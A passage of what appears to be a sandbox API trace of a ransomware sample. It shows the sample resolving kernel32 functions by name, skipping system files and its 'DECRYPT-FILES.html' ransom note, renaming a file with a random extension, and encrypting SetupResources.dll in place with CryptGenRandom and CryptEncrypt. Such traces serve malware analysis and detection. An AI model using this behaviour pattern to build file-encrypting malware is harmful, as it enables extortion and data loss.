returned="CreateProcessA" [0131.326] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0131.326] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0131.326] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0131.326] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0131.326] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0131.326] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0131.326] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0131.326] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0131.326] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0131.326] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0131.326] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0131.326] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0131.326] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0131.327] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0131.327] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0131.327] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0131.327] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0131.327] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0131.327] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0131.327] lstrlenA (lpString="CREATETHREAD") returned 12 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0131.327] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0131.327] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0131.327] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0131.327] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0131.327] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0131.327] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0131.327] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0131.327] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0131.328] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.v2RfKO") returned 51 [0131.328] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.v2RfKO" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.v2rfko"), dwFlags=0x0) returned 1 [0131.329] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.329] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.329] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.329] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.329] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0131.330] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0131.330] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0131.330] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0131.330] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0131.330] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0131.330] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0131.330] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0131.330] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0131.330] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0131.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\") returned 27 [0131.330] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.330] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1045\\" | out: lpString1="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0131.330] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" [0131.330] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0131.330] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0131.330] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18264) returned 1 [0131.330] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0131.331] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0131.633] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0131.633] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0131.633] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0131.633] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0131.634] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0131.634] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.634] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0131.635] CloseHandle (hObject=0x5f8) returned 1 [0131.635] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.635] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0131.636] CloseHandle (hObject=0x0) returned 0 [0131.636] CloseHandle (hObject=0x5f4) returned 1 [0131.636] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.637] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.637] GetTickCount () returned 0x36458 [0131.637] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0131.637] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0131.637] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0131.637] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0131.638] lstrlenA (lpString="kernel32.dll") returned 12 [0131.638] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0131.638] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0131.638] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0131.638] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0131.638] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0131.638] lstrlenA (lpString="ADDATOMA") returned 8 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0131.638] lstrlenA (lpString="ADDATOMW") returned 8 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0131.638] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0131.638] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0131.638] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0131.638] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0131.638] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0131.638] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0131.638] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0131.638] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0131.639] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0131.639] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0131.639] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0131.639] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0131.639] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0131.639] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0131.639] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0131.639] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0131.639] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0131.639] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0131.639] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0131.639] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0131.639] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0131.639] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0131.639] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0131.639] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0131.639] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0131.639] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0131.639] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0131.639] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0131.639] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0131.640] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0131.640] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0131.640] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0131.640] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0131.640] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0131.640] lstrlenA (lpString="BACKUPREAD") returned 10 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0131.640] lstrlenA (lpString="BACKUPSEEK") returned 10 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0131.640] lstrlenA (lpString="BACKUPWRITE") returned 11 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0131.640] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0131.640] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0131.640] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0131.640] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0131.640] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0131.640] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0131.640] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0131.640] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0131.640] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0131.640] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0131.640] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0131.640] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0131.640] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0131.640] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0131.641] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0131.641] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0131.641] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0131.641] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0131.641] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0131.641] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0131.641] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0131.641] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0131.641] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0131.641] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0131.641] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0131.641] lstrcpyA (in: 